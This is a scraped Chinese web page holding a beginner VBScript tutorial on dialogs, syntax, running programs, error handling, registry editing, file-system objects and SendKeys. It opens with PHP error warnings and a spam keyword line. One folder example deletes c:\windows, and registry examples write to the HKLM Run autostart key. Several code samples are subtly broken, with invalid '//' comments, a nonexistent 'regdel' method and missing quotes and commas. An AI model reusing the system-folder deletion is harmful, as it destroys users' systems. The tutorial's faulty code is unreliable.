Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 中文字幕一区二区在线观看,在线观看国产小视频,成人国产日本亚洲精品

          整合營(yíng)銷(xiāo)服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢熱線:

          vbs代碼教程講解:及好玩的vbs代碼腳本

          —為什么要使用Vbs?

          在Windows中,學(xué)習(xí)計(jì)算機(jī)操作也許很簡(jiǎn)單,但是很多計(jì)算機(jī)工作是重復(fù)性勞動(dòng),例如你每周也許需要對(duì)一些計(jì)算機(jī)文件進(jìn)行復(fù)制、粘貼、改名、刪除,也許你每天啟動(dòng)計(jì)算機(jī)第一件事情就是打開(kāi)WORD,切換到你喜愛(ài)的輸入法進(jìn)行文本編輯,同時(shí)還要播放優(yōu)美的音樂(lè)給工作創(chuàng)造一個(gè)舒心的環(huán)境,當(dāng)然也有可能你經(jīng)常需要對(duì)文本中的某些數(shù)據(jù)進(jìn)行整理,把各式各樣的數(shù)據(jù)按照某種規(guī)則排列起來(lái)……。這些事情重復(fù)、瑣碎,使人容易疲勞。

          第三方軟件也許可以強(qiáng)化計(jì)算機(jī)的某些功能,但是解決這些重復(fù)勞動(dòng)往往事倍功半,我也嘗試過(guò)使用計(jì)算機(jī)語(yǔ)言編寫(xiě)程序來(lái)解決這些問(wèn)題,但是隨之而來(lái)的命令、語(yǔ)法、算法、系統(tǒng)框架和類庫(kù)常常讓我覺(jué)得這樣是否有必要,難道就是因?yàn)樨i毛比較難拔,所以我就要去學(xué)習(xí)機(jī)械,為自己設(shè)計(jì)一個(gè)拔豬毛機(jī)(?)嗎?

          Vbs是一種Windows腳本,它的全稱是:Microsoft Visual Basic Script Editon.(微軟公司可視化BASIC腳本版),VBS是Visual Basic的的一個(gè)抽象子集,是系統(tǒng)內(nèi)置的,用它編寫(xiě)的腳本代碼不能編譯成二進(jìn)制文件,直接由Windows系統(tǒng)執(zhí)行(實(shí)際是一個(gè)叫做宿主host的解釋源代碼并執(zhí)行),高效、易學(xué),但是大部分高級(jí)語(yǔ)言能干的事情,它基本上都具備,它可以使各種各樣的任務(wù)自動(dòng)化,可以使你從重復(fù)瑣碎的工作中解脫出來(lái),極大的提高工作效率。

          我個(gè)人認(rèn)為Vbs腳本其實(shí)就是一種計(jì)算機(jī)編程語(yǔ)言,但是由于缺少計(jì)算機(jī)程序設(shè)計(jì)語(yǔ)言中的部分要素,對(duì)于事件的描述能力較弱,所以稱為腳本,它最方便的地方就是提供了對(duì)COM對(duì)象的簡(jiǎn)便支持。那么什么是COM對(duì)象呢?

          我這樣理解,COM對(duì)象就是一些具有特定函數(shù)功能項(xiàng)程序模塊,他們一般以ocx或者dll作為擴(kuò)展名,你只要找到包含有你需要的功能的模塊文件,并在腳本中規(guī)范的引用,就可以實(shí)現(xiàn)特定的功能,也就是說(shuō)Vbs腳本就是調(diào)用現(xiàn)成的"控件"作為對(duì)象,用對(duì)象的屬性和方法實(shí)現(xiàn)目的,完全免去了編寫(xiě)代碼、設(shè)計(jì)算法等等麻煩。說(shuō)白了,我不是覺(jué)得拔豬毛麻煩么?我發(fā)覺(jué)xx機(jī)(比如真空離心器)有一個(gè)功能可以實(shí)現(xiàn)脫毛,ok,我把它拿來(lái)給豬脫毛。什么?大材小用?太浪費(fèi)資源了?天哪,那是計(jì)算機(jī)芯片的事情,死道友不死貧道,反正我的事情是方便快速的解決了,這就行了。

          最方便的是它甚至不需要專門(mén)的開(kāi)發(fā)環(huán)境,在你的計(jì)算機(jī)中,只要有notepad,就可以編寫(xiě)Vbs腳本了,并且可以直接執(zhí)行。

          Vbs腳本編程簡(jiǎn)明教程之二

          如何開(kāi)始第一個(gè)Vbs腳本?

          就像多數(shù)計(jì)算機(jī)教程一樣 ,我們從"Hello World!"程序開(kāi)始我們的練習(xí)。什么?不知道是什么意思?就是說(shuō)大部分的計(jì)算機(jī)程序設(shè)計(jì)教程開(kāi)篇入門(mén)都是編寫(xiě)一個(gè)小程序,執(zhí)行這個(gè)程序的結(jié)果就是在計(jì)算機(jī)的屏幕上或者dos窗口中顯示一行文字:Hello World!好了,我們開(kāi)始吧。

          打開(kāi)你的"記事本"程序,在編輯窗口填寫(xiě):

          msgbox "Hello World!"
          

          然后用鼠標(biāo)單擊"文件"菜單,單擊"保存",把"保存在"一欄設(shè)為桌面,在"文件名"一欄中填寫(xiě)kk.vbs,單擊"保存"就可以了。然后最小化"記事本"窗口,在桌面上尋找你剛剛保存的kk.vbs,然后雙擊。看到彈出的對(duì)話框了沒(méi)有,單擊"確定",對(duì)話框消失了。難看了點(diǎn),不過(guò)確實(shí)是你編寫(xiě)的第一個(gè)腳本程序。

          說(shuō)明之一:上面的操作中,保存位置放在桌面,僅僅是為了執(zhí)行方便,你保存到其他的地方完全沒(méi)有問(wèn)題,只要你知道你保存在什么地方就可以了,什么?是廢話,自己保存的當(dāng)然知道保存在那里了。不,自己保存的文件自己找不到的人我見(jiàn)的多了去了。文件名你可以隨意填寫(xiě),不一定非要寫(xiě)kk,只要符合Windows的文件命名規(guī)則就可以了,但是擴(kuò)展名必須是vbs,什么?不知道什么是擴(kuò)展名?就是文件名中"."后的那部分,簡(jiǎn)單說(shuō),就是vbs腳本文件命名時(shí)必須是:xxx.vbs,其中xxx你隨意。

          說(shuō)明之二:在記事本編輯窗口中寫(xiě)的這行是什么意思?

          Msgbox是VBS內(nèi)建的函數(shù),每一個(gè)函數(shù)都可以完成一定的功能,你只需要按照語(yǔ)法要求,在函數(shù)的相應(yīng)部分填寫(xiě)相應(yīng)的內(nèi)容就可以了,這部分內(nèi)容我們稱為參數(shù),當(dāng)然函數(shù)執(zhí)行的結(jié)果我們稱為返回值,一個(gè)函數(shù)可以有返回值也可以沒(méi)有,可以有參數(shù)也可以沒(méi)有。你不用了解函數(shù)是怎么運(yùn)作的,只要了解這個(gè)函數(shù)能干什么就行了。

          Msgbox語(yǔ)法:msgbox "對(duì)話框內(nèi)容", , "對(duì)話框的標(biāo)題"

          你不妨用記事本打開(kāi)剛才的文件在編輯窗口中輸入:

          msgbox "Hello World!" , , "系統(tǒng)提示"

          執(zhí)行一下,看看效果和位置。

          說(shuō)明之三:如果執(zhí)行失敗,看看你的標(biāo)點(diǎn)符號(hào),所有的標(biāo)點(diǎn)符號(hào)必須是在英文狀態(tài)下輸入的。當(dāng)然,這個(gè)腳本實(shí)在是太簡(jiǎn)單了,甚至連最簡(jiǎn)單的交互都沒(méi)有,所以你可以把腳本這樣修改一下:

          Dim name
          name=Inputbox("請(qǐng)輸入你的名字:","名稱") 
          Msgbox name, , "您的名字是" 
          
          

          保存執(zhí)行一下,看到彈出的對(duì)話框了么?填入你的名字,點(diǎn)確定,看到結(jié)果了嗎?

          說(shuō)明之一:第一句是定義變量,dim是定義變量的語(yǔ)句

          其格式為:dim 變量1,變量2……,

          Vbs只有一種變量類型,所以不用聲明變量類型。系統(tǒng)會(huì)自動(dòng)分辨變量類型。

          說(shuō)明之二:inputbox是VBS內(nèi)建的函數(shù),可以接受輸入的內(nèi)容,其語(yǔ)法格式為:

          Inputbox("對(duì)話框內(nèi)容","對(duì)話框標(biāo)題")

          第二句的意思是接受用戶的輸入,并把輸入結(jié)果傳遞給變量name。

          好了,到此腳本基本的輸入輸出函數(shù)都有了,已經(jīng)可以完成一些比較簡(jiǎn)單的功能了,你可以編寫(xiě)一個(gè)簡(jiǎn)單的腳本,然后拷貝的"程序"—>"啟動(dòng)"中,然后重新啟動(dòng)計(jì)算機(jī)看看結(jié)果

          Vbs腳本編程簡(jiǎn)明教程之三

          Vbs的基本語(yǔ)法(牢記)

          VBScript基礎(chǔ)知識(shí)

          一、變量

          1、所有單引號(hào)后面的內(nèi)容都被解釋為注釋。

          2、在VBScript中,變量的命名規(guī)則遵循標(biāo)準(zhǔn)的命名規(guī)則,需要注意的是:在VBScript中對(duì)變量、方法、函數(shù)和對(duì)象的引用是不區(qū)分大小寫(xiě)的。在申明變量時(shí),要顯式地申明一個(gè)變量,需要使用關(guān)鍵字DIm來(lái)告訴VBScript你要?jiǎng)?chuàng)建一個(gè)變量,并將變量名稱跟在其后。申明多個(gè)同類型變量,可以用逗號(hào)分隔。注意:VBScript中不允許在申明變量的時(shí)候同時(shí)給變量賦值。但是允許在一行代碼內(nèi)同時(shí)對(duì)兩個(gè)變量進(jìn)行賦值,中間用冒號(hào)分隔。

          3、你可以使用Option Explicit來(lái)告訴宿主變量必須先聲明后使用。

          4、VBScript在定義時(shí)只有一種變量類型,在實(shí)際使用中需要使用類型轉(zhuǎn)換函數(shù)來(lái)將變量轉(zhuǎn)換成相應(yīng)的變量類型。

          Cbool函數(shù)將變量轉(zhuǎn)換成布爾值;

          Cbyte函數(shù)將變量轉(zhuǎn)換為0到255之間的整數(shù)。

          Ccur函數(shù)、Cdbl函數(shù)和Csng函數(shù)將變量轉(zhuǎn)換為浮點(diǎn)數(shù)值,前者只精確到小數(shù)點(diǎn)后四位,后兩者要更加精確,數(shù)值的范圍也要大的多。

          Cdate函數(shù)將變量轉(zhuǎn)換為日期值。

          Cint函數(shù)和Clng函數(shù)將變量轉(zhuǎn)換為整數(shù),后者的范圍比前者要大的多。

          Cstr函數(shù)將變量轉(zhuǎn)換為字符串。

          二、數(shù)組

          數(shù)組的定義與變量非常類似,只需要在變量后描述這個(gè)數(shù)組的個(gè)數(shù)和維數(shù)。需要注意的是:數(shù)組的下標(biāo)總是從0開(kāi)始,而以數(shù)組定義中數(shù)值減一結(jié)束。也就是說(shuō)你以要定義一個(gè)有十個(gè)數(shù)據(jù)的數(shù)組,將這樣書(shū)寫(xiě)代碼:dImarray(9),同樣,當(dāng)你要訪問(wèn)第五個(gè)元素時(shí),實(shí)際的代碼是array(4)。當(dāng)然,你可以通過(guò)不指定數(shù)組的個(gè)數(shù)和維數(shù)來(lái)申明動(dòng)態(tài)數(shù)組。等到數(shù)組的個(gè)數(shù)和維數(shù)固定后,使用關(guān)鍵字redim來(lái)改變數(shù)組。注意,在改變數(shù)組的大小時(shí),數(shù)組的數(shù)據(jù)會(huì)被破壞,使用關(guān)鍵字preserve來(lái)保護(hù)數(shù)據(jù)。例如:

          RedIm空格preserve空格array括號(hào)個(gè)數(shù)逗號(hào)維數(shù)括號(hào)

          三、操作符

          在VBScript運(yùn)算符中,加減乘除都是我們常用的符號(hào),乘方使用的是 ^ ,取模使用的Mod。

          在比較操作符中,等于、小于、大于、小于等于、大于等于都與我們常用的符號(hào)是一致的,而不等于是小于和大于連用。

          邏輯運(yùn)算符為:和操作—>AND 非操作—>NOT 或操作—>OR;

          你可以使用操作符 + 和操作符 & 來(lái)連接字符串,一般使用&操作符;

          另外還有一個(gè)比較特殊的操作符Is用來(lái)比較對(duì)象,例如按鈕對(duì)象,如果對(duì)象是同一類型,結(jié)果就是真,如果對(duì)象不是同一類型,結(jié)果就是假。

          四、條件語(yǔ)句主要有if……then語(yǔ)句和select case語(yǔ)句兩種形式

          在if……then語(yǔ)句中,其基本形式為:

          If 條件 then

          處理?xiàng)l件的語(yǔ)句;

          ……

          Endif

          基本形式只能對(duì)單個(gè)條件進(jìn)行驗(yàn)證,如果有兩個(gè)條件,則需要在基本形式中添加單行語(yǔ)句else,如果還有更多的條件需要驗(yàn)證,則需要添加語(yǔ)句

          Elseif 條件 then

          處理?xiàng)l件語(yǔ)句

          在select case語(yǔ)句中,其基本形式為:

          Select case 變量

          Case 條件值

          處理?xiàng)l件語(yǔ)句

          并對(duì)上兩句進(jìn)行重復(fù)

          最后一句應(yīng)為

          case else

          處理語(yǔ)句

          當(dāng)然不要忘記將條件結(jié)束語(yǔ)句End select放在最后一行

          注意:在執(zhí)行字符串比較時(shí),需要特別注意大小寫(xiě),一般情況下,我們?cè)诒容^前,使用lcase函數(shù)將字符串轉(zhuǎn)換成小寫(xiě),使用ucase函數(shù)將字符串轉(zhuǎn)換成大寫(xiě)大寫(xiě)。

          五、循環(huán)控制語(yǔ)句

          循環(huán)控制語(yǔ)句有for……next循環(huán)、for……each循環(huán)、do……while循環(huán)、do……until循環(huán)、while循環(huán)五種形式。

          在使用循環(huán)控制語(yǔ)句前,首先要對(duì)循環(huán)條件進(jìn)行判斷,如果循環(huán)次數(shù)是有固定次數(shù)的,那么使用For……next循環(huán),其結(jié)構(gòu)為:

          For 計(jì)數(shù)器變量=開(kāi)始計(jì)數(shù)值 to 最后計(jì)數(shù)值

          執(zhí)行循環(huán)體

          Next

          如果是需要對(duì)數(shù)組或?qū)ο蠹现械拿恳粋€(gè)元素進(jìn)行判斷,則需要使用for……each循環(huán),其結(jié)構(gòu)為:

          For each 循環(huán)計(jì)數(shù)變量 in 要查看的對(duì)象或數(shù)組

          執(zhí)行處理語(yǔ)句

          Next

          注意:在上述兩種循環(huán)中隨時(shí)可以使用exit for來(lái)退出循環(huán)

          如果你希望在條件滿足時(shí)執(zhí)行一段代碼則使用do……while語(yǔ)句,結(jié)構(gòu)為:

          Do while 條件

          執(zhí)行循環(huán)體

          Loop

          如果你希望在條件不滿足時(shí)執(zhí)行代碼,則使用do……until語(yǔ)句,結(jié)構(gòu)為:

          Do until 條件

          執(zhí)行循環(huán)體

          Loop

          當(dāng)然,在這兩種循環(huán)語(yǔ)句中,你可以使用exit do來(lái)退出循環(huán)

          最后一種循環(huán)語(yǔ)句是條件滿足時(shí)一直執(zhí)行循環(huán),

          While 條件

          執(zhí)行循環(huán)體

          Wend

          六、使用過(guò)程

          常用的過(guò)程有兩種,一種為函數(shù),給調(diào)用者返回值,一種為子程序,無(wú)返回值,還有一種叫事件的特殊子程序,用的比較少。

          函數(shù)的基本定義方法為:

          Function 函數(shù)名稱(參數(shù)列表)

          函數(shù)代碼

          函數(shù)名稱=某值 ‘用來(lái)返回值

          end function

          子程序一些都類似,不過(guò)沒(méi)有返回值

          注意:盡管在定義子程序的時(shí)候,參數(shù)列表要加括號(hào),但在調(diào)用子程序的時(shí)候,參數(shù)列表不加括號(hào),括號(hào)只在函數(shù)中使用。另外,子程序不能在表達(dá)式中使用。

          而函數(shù)只能出現(xiàn)在賦值語(yǔ)句的右邊,或者表達(dá)式中,函數(shù)不能直接使用,如果必須直接使用函數(shù),則必須使用call語(yǔ)句調(diào)用,并取消返回值。

          Vbs腳本編程簡(jiǎn)明教程之四

          如何利用Vbs運(yùn)行外部程序?

          Vbs只提供了編程的一個(gè)基本框架,用戶可以使用Vbs來(lái)定義變量、過(guò)程和函數(shù),vbs也提供了一些內(nèi)部函數(shù)和對(duì)象,但是Vbs沒(méi)有提供任何命令來(lái)訪問(wèn)Windows系統(tǒng)內(nèi)部的部件,但是值得慶幸的是,Vbs雖然不能自己完成這些任務(wù),但是它提供了一條極為方便、功能也相當(dāng)強(qiáng)的命令——CreateObject,這條命令可以訪問(wèn)windows系統(tǒng)內(nèi)安裝的所有com對(duì)象,并且可以調(diào)用這些部件中存放的命令。

          于是問(wèn)題解決了,比如說(shuō),我手頭有1000個(gè)小文本,我首先要對(duì)每一個(gè)文本的語(yǔ)法進(jìn)行查錯(cuò)和修改,然后按照預(yù)先定義好的規(guī)則對(duì)這些文本進(jìn)行排序,最后將這些文本合并成為一個(gè)文件。正常情況下,我們需要把打開(kāi)第一個(gè)小文本,然后把它復(fù)制到WORD中,然后利用里面的除錯(cuò)功能進(jìn)行除錯(cuò)和修改,然后再導(dǎo)入到EXCEL中進(jìn)行排序,將這個(gè)過(guò)程重復(fù)1000遍,然后再將所有得到的文本復(fù)制到一個(gè)大文本中。實(shí)在是太枯燥、工作量太大了。有了Vbs和CreateObject,問(wèn)題得到解決,我只需要找到相應(yīng)的模塊,調(diào)用相應(yīng)的功能就可以了,作為腳本,把一個(gè)枯燥的過(guò)程重復(fù)1000次,本就是它的拿手好戲。

          好了,我們走入正題,從最簡(jiǎn)單的——只啟動(dòng)一個(gè)程序開(kāi)始。

          WSH也就是用來(lái)解析Vbs的宿主,本身包含了幾個(gè)個(gè)常用對(duì)象:

          1、Scripting.FileSystemObject —> 提供一整套文件系統(tǒng)操作函數(shù)

          2、Scripting.Dictionary —> 用來(lái)返回存放鍵值對(duì)的字典對(duì)象

          3、Wscript.Shell —> 提供一套讀取系統(tǒng)信息的函數(shù),如讀寫(xiě)注冊(cè)表、查找指定文件的路徑、讀取DOS環(huán)境變量,讀取鏈接中的設(shè)置

          4、Wscript.NetWork —> 提供網(wǎng)絡(luò)連接和遠(yuǎn)程打印機(jī)管理的函數(shù)。(其中,所有Scripting對(duì)象都存放在SCRRUN.DLL文件中,所有的Wscript對(duì)象都存放在WSHOM.ocx文件中。)

          現(xiàn)在我們需要的是第三個(gè)對(duì)象,好了,讓我們先連接一下對(duì)象看看,在記事本的編輯窗口中輸入:

          Option ExplicitDim objShellSet objShell = CreateObject("Wscript.Shell")objShell.Run "notepad"

          同樣,保存執(zhí)行。那么看到了一個(gè)什么樣的結(jié)果呢?在桌面上又打開(kāi)了一個(gè)記事本。

          說(shuō)明之一:Set是Vbs指令,凡是將一對(duì)象引用賦給變量,就需要使用set關(guān)鍵字。那么什么是對(duì)象引用呢?凡是字符串、數(shù)值、布爾值之外的變量都是對(duì)象引用。Objshell是變量名,可以隨意修改。

          說(shuō)明之二:凡是正確引用的對(duì)象,其本身內(nèi)置有函數(shù)和變量,其引用方法為在變量后加". ",后緊跟其實(shí)現(xiàn)功能的函數(shù)就可以了。Objshell.run 的意思就是調(diào)用Wscript.shell中的運(yùn)行外部程序的函數(shù)——run,notepad是記事本程序的文件名。當(dāng)然你也可以改成"calc",這是計(jì)算器的文件名,winword是word的文件名,等等吧,所有可執(zhí)行文件的文件名都可以。但是需要注意的是,如果你要執(zhí)行的可執(zhí)行文件存放的地方不是程序安裝的常用路徑,一般情況下,需要提供合法的路徑名,但是run在運(yùn)行解析時(shí),遇到空格會(huì)停止,解決的方法是使用雙引號(hào),例如:在我的機(jī)器上運(yùn)行qq,代碼為:

          objshell.run """C:\Program Files\QQ2006\QQ.exe""" ‘注:三個(gè)引號(hào)

          好, 我們?cè)龠M(jìn)一步,啟動(dòng)兩個(gè)程序會(huì)如何呢?

          輸入如下代碼:

          Set objShell = CreateObject("Wscript.Shell")
          objShell.Run "notepad"
          objShell.Run "calc"
          
          

          執(zhí)行會(huì)如何呢??jī)蓚€(gè)程序基本上同時(shí)啟動(dòng)了。如果我們需要先啟動(dòng)notepad再啟動(dòng)calc將如何呢?很簡(jiǎn)單在需要順序執(zhí)行的代碼后加 , , True參數(shù)就可以了。

          好了輸入代碼:

          Set objShell = CreateObject("Wscript.Shell")
          objShell.Run "notepad" ,,true
          objShell.Run "calc"
          
          

          看看執(zhí)行的結(jié)果怎么樣吧!

          總結(jié):run函數(shù)有三個(gè)參數(shù),第一個(gè)參數(shù)是你要執(zhí)行的程序的路徑,第二個(gè)程序是窗口的形式,0是在后臺(tái)運(yùn)行;1表示正常運(yùn)行;2表示激活程序并且顯示為最小化;3表示激活程序并且顯示為最大化;一共有10個(gè)這樣的參數(shù)我只列出了4個(gè)最常用的。 第三個(gè)參數(shù)是表示這個(gè)腳本是等待還是繼續(xù)執(zhí)行,如果設(shè)為了true,腳本就會(huì)等待調(diào)用的程序退出后再向后執(zhí)行。

          其實(shí),run做為函數(shù),前面還有一個(gè)接受返回值的變量,一般來(lái)說(shuō)如果返回為0,表示成功執(zhí)行,如果不為0,則這個(gè)返回值就是錯(cuò)誤代碼,可以通過(guò)這個(gè)代碼找出相應(yīng)的錯(cuò)誤。

          Vbs腳本編程簡(jiǎn)明教程之五

          錯(cuò)誤處理

          引發(fā)錯(cuò)誤的原因有很多,例如用戶輸入了錯(cuò)誤類型的值,或者腳本找不到必需的文件、目錄或者驅(qū)動(dòng)器,我們可以使用循環(huán)技術(shù)來(lái)處理錯(cuò)誤,但是VBS本身也提供了一些基本技術(shù)來(lái)進(jìn)行錯(cuò)誤的檢測(cè)和處理。

          1、最常見(jiàn)的錯(cuò)誤是運(yùn)行時(shí)錯(cuò)誤,也就是說(shuō)錯(cuò)誤在腳本正在運(yùn)行的時(shí)候發(fā)生,是腳本試圖進(jìn)行非法操作的結(jié)果。例如零被作為除數(shù)。在vbs中,任何運(yùn)行時(shí)錯(cuò)誤都是致命的,此時(shí),腳本將停止運(yùn)行,并在屏幕上顯示一個(gè)錯(cuò)誤消息。你可以在腳本的開(kāi)頭添加

          On Error Resume Next

          這行語(yǔ)句告訴vbs在運(yùn)行時(shí)跳過(guò)發(fā)生錯(cuò)誤的語(yǔ)句,緊接著執(zhí)行跟在它后面的語(yǔ)句。

          發(fā)生錯(cuò)誤時(shí),該語(yǔ)句將會(huì)把相關(guān)的錯(cuò)誤號(hào)、錯(cuò)誤描述和相關(guān)源代碼壓入錯(cuò)誤堆棧。

          2、雖然On Error Resume Next語(yǔ)句可以防止vbs腳本在發(fā)生錯(cuò)誤時(shí)停止運(yùn)行,但是它并不能真正處理錯(cuò)誤,要處理錯(cuò)誤,需要在腳本中增加一些語(yǔ)句,用來(lái)檢查錯(cuò)誤條件并在錯(cuò)誤發(fā)生時(shí)處理它。

          vbscript提供了一個(gè)err對(duì)象,他有兩個(gè)方法clear,raise,5個(gè)屬性:description,helpcontext,helpfile,number,source

          err對(duì)象不用引用實(shí)例,可以直接使用,例如:

          on error resume next 
          a=11 
          b=0 
          c=a/b 
          if err.number<>0 then 
          wscript.echo err.number & err.description & err.source 
          end if 
          
          

          Vbs腳本編程簡(jiǎn)明教程之六

          修改注冊(cè)表

          Vbs中修改注冊(cè)表的語(yǔ)句主要有:

          1、讀注冊(cè)表的關(guān)鍵詞和值:

          可以通過(guò)把關(guān)鍵詞的完整路徑傳遞給wshshell對(duì)象的regread方法。例如:

          set ws=wscript.createobject("wscript.shell") 
          v=ws.regread("HKLM\Software\7-Zip\Path ") 
          wscript.echo v 
          
          

          2、寫(xiě)注冊(cè)表

          使用wshshell對(duì)象的regwrite方法。例子:

          path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" 
          set ws=wscript.createobject("wscript.shell") 
          t=ws.regwrite(path & "jj","hello") 
          
          

          這樣就把

          HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jj這個(gè)鍵值改成了hello.不過(guò)要注意:這個(gè)鍵值一定要預(yù)先存在。

          如果要?jiǎng)?chuàng)建一個(gè)新的關(guān)鍵詞,同樣也是用這個(gè)方法。

          path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run\sssa2000\love\" 
          set ws=wscript.createobject("wscript.shell") 
          val=ws.regwrite(path,"nenboy") 
          val=ws.regread(path) 
          wscript.echo val 
          
          

          3、刪除關(guān)鍵字和值

          使用regdelete方法,把完整的路徑傳遞給regdelete就可以了

          例如

          val=ws.regdel(path)

          注意,如果要?jiǎng)h除關(guān)鍵詞的值的話 一定要在路徑最后加上"\",如果不加斜線,就會(huì)刪除整個(gè)關(guān)鍵詞。

          Vbs腳本編程簡(jiǎn)明教程之七

          FSO的常見(jiàn)對(duì)象和方法

          文件系統(tǒng)是所有操作系統(tǒng)最重要的部分之一,腳本經(jīng)常會(huì)需要對(duì)文件及文件夾進(jìn)行訪問(wèn)和管理,在Vbs中對(duì)桌面和文件系統(tǒng)進(jìn)行訪問(wèn)的頂級(jí)對(duì)象是FileSystemObject(FSO),這個(gè)對(duì)象特別復(fù)雜,是vbs進(jìn)行文件操作的核心。此節(jié)內(nèi)容應(yīng)了如指掌。

          FSO包含的常見(jiàn)對(duì)象有:

          Drive對(duì)象:包含儲(chǔ)存設(shè)備的信息,包括硬盤(pán)、光驅(qū)、ram盤(pán)、網(wǎng)絡(luò)驅(qū)動(dòng)器Drives集合:提供一個(gè)物理和邏輯驅(qū)動(dòng)器的列表 File 對(duì)象:檢查和處理文件 Files 集合:提供一個(gè)文件夾中的文件列表 Folder對(duì)象:檢查和處理文件夾 Folders集合:提供文件夾中子文件夾的列表 Textstream對(duì)象:讀寫(xiě)文本文件

          FSO的常見(jiàn)方法有:

          BulidPath:把文件路徑信息添加到現(xiàn)有的文件路徑上CopyFile:復(fù)制文件CopyFolder:復(fù)制文件夾CreateFolder:創(chuàng)建文件夾CreateTextFile:創(chuàng)建文本并返回一個(gè)TextStream對(duì)象DeleteFile:刪除文件DeleteFolder:刪除文件夾及其中所有內(nèi)容DriveExits:確定驅(qū)動(dòng)器是否存在FileExits:確定一個(gè)文件是否存在FolderExists:確定某文件夾是否存在GetAbsolutePathName:返回一個(gè)文件夾或文件的絕對(duì)路徑 GetBaseName:返回一個(gè)文件或文件夾的基本路徑 GetDrive:返回一個(gè)dreve對(duì)象 GetDriveName:返回一個(gè)驅(qū)動(dòng)器的名字 GetExtensionName:返回?cái)U(kuò)展名 GetFile:返回一個(gè)file對(duì)象 GetFileName:返回文件夾中文件名稱 GetFolder:返回一個(gè)文件夾對(duì)象GetParentFolderName:返回一個(gè)文件夾的父文件夾 GetSpecialFolder:返回指向一個(gè)特殊文件夾的對(duì)象指針 GetTempName:返回一個(gè)可以被createtextfile使用的隨機(jī)產(chǎn)生的文件或文件夾的名稱 MoveFile:移動(dòng)文件MoveFolder:移動(dòng)文件夾OpenTextFile:打開(kāi)一個(gè)存在的文件并返回一個(gè)TextStream對(duì)象Vbs腳本編程簡(jiǎn)明教程之八

          FSO中文件夾的基本操作

          1、使用fso

          由于fso不是wsh的一部分,所以我們需要建立他的模型

          例如set fs=wscript.createobject("scripting.filesystemobject")

          這樣就建立了fso的模型。如果要釋放的話也很簡(jiǎn)單,set fs=nothing

          2、使用文件夾

          在創(chuàng)建前,我們一般需要檢查該文件夾是否存在例如:

          dim fs,s //定義fs、s兩個(gè)變量
          set fs=wscript.createobject("scripting.filesystemobject") //fs為FSO實(shí)例
          if (fs.folderexists("c:\temp")) then //判斷c:\temp文件夾是否存在
          s="is available" 
          else 
          s="not exist" 
          set foldr=fs.createfolder("c:\temp") //不存在則建立
          end if 
          
          

          刪除:set fs=wscript.createobject("scripting.filesystemobject") fs.deletefolder("c:\windows") 拷貝: set fs=wscript.createobject("scripting.filesystemobject") fs.copyfolder "c:\data" "d:\data" 注意:如果c:\data 和d:\data都存在,腳本會(huì)出錯(cuò),復(fù)制也就會(huì)停止,如果要強(qiáng)制覆蓋,使用fs.copyfolder "c:\data" "d:\data",true 移動(dòng):set fs=wscript.createobject("scripting.filesystemobject") fs.movefolder "c:\data" "d:\data" 我們可以使用通配符,來(lái)方便操作:

          例如, fs.movefolder :c:\data\te*" , "d:\working"

          注意:在目的路徑最后沒(méi)有使用"\" 也就是說(shuō)我沒(méi)有這樣寫(xiě):

          fs.movefolder c:\data\te*" , "d:\working\"

          這樣寫(xiě)的話,如果d:\working 目錄不存在,windows就不會(huì)為我們自動(dòng)創(chuàng)建這個(gè)目錄。

          注意:上面我們所舉的例子都是在利用fso提供的方法,如果使用folder對(duì)象也完全是可以的:

          set fs= wscript.createobject("scripting.filesystemobject") set f=fs.getfolder("c:\data") f.delete //刪除文件夾c:\data。如果有子目錄,也會(huì)被刪除 f.copy "d:\working",true //拷貝到d:\working f.move "d:\temp" //移動(dòng)到d:\temp

          3、特殊文件夾

          一般指的就是系統(tǒng)文件夾:\windows\system32, 臨時(shí)文件夾,windows文件夾,在前幾篇的時(shí)候,我們提過(guò)一下:例如

          set fs=wscript.createobject("scripting.filesystemobject") 
          set wshshell=wscript.createobject("wscript.shell") 
          osdir=wshshell.expandenvironmentstrings("%systemroot%") 
          set f =fs.getfolder(osdir) 
          wscript.echo f 
          
          

          當(dāng)然,還有簡(jiǎn)單的方法 那就是使用getspecialfolder()

          這個(gè)方法使用3種值:

          0 表示windows文件夾,相關(guān)常量是windowsfolder

          1 系統(tǒng)文件夾,相關(guān)常量是systemfolder

          2 臨時(shí)目錄,相關(guān)常量temporaryfolder

          例如:

          set fs=wscript.createobject("scripting.filesystemobject") set wfolder=fs.getspecialfolder(0) ‘返回windows目錄 set wfolder=fs.getspecialfolder(1) ‘返回system32\ set wfolder=fs.getspecialfolder(2)'返回臨時(shí)目錄

          Vbs腳本編程簡(jiǎn)明教程之九——1

          妙用SendKeys簡(jiǎn)化重復(fù)操作1

          每次開(kāi)機(jī)的時(shí)候,你想自動(dòng)登陸你的QQ或者博客嗎?巧妙使用VBS中的SendKeys命令(這個(gè)命令的作用就是模擬鍵盤(pán)操作,將一個(gè)或多個(gè)按鍵指令發(fā)送到指定Windows窗口來(lái)控制應(yīng)用程序運(yùn)行),可以極大的方便我們的常用操作。其使用格式為:

          Object.SendKeys string其中:

          Object:為WshShell對(duì)象,即腳本的第一行為:

          Set WshShell=WScript.CreateObject("WScript.Shell")

          將Object替換為WshShell

          "string":表示要發(fā)送的按鍵指令字符串,需要放在英文雙引號(hào)中。它包含如下內(nèi)容:

          1.基本鍵:一般來(lái)說(shuō),要發(fā)送的按鍵指令都可以直接用該按鍵字符本身來(lái)表示,例如要發(fā)送字母"x",使用"WshShell.SendKeys "x""即可。當(dāng)然,也可直接發(fā)送多個(gè)按鍵指令,只需要將按鍵字符按順序排列在一起即可,例如,要發(fā)送按鍵"cfan",可以使用

          "WshShell.SendKeys "cfan""。

          2.特殊功能鍵:對(duì)于需要與Shift、Ctrl、Alt三個(gè)控制鍵組合的按鍵,SendKeys使用特殊字符來(lái)表示:Shift —— +;Ctrl —— ^;Alt —— %

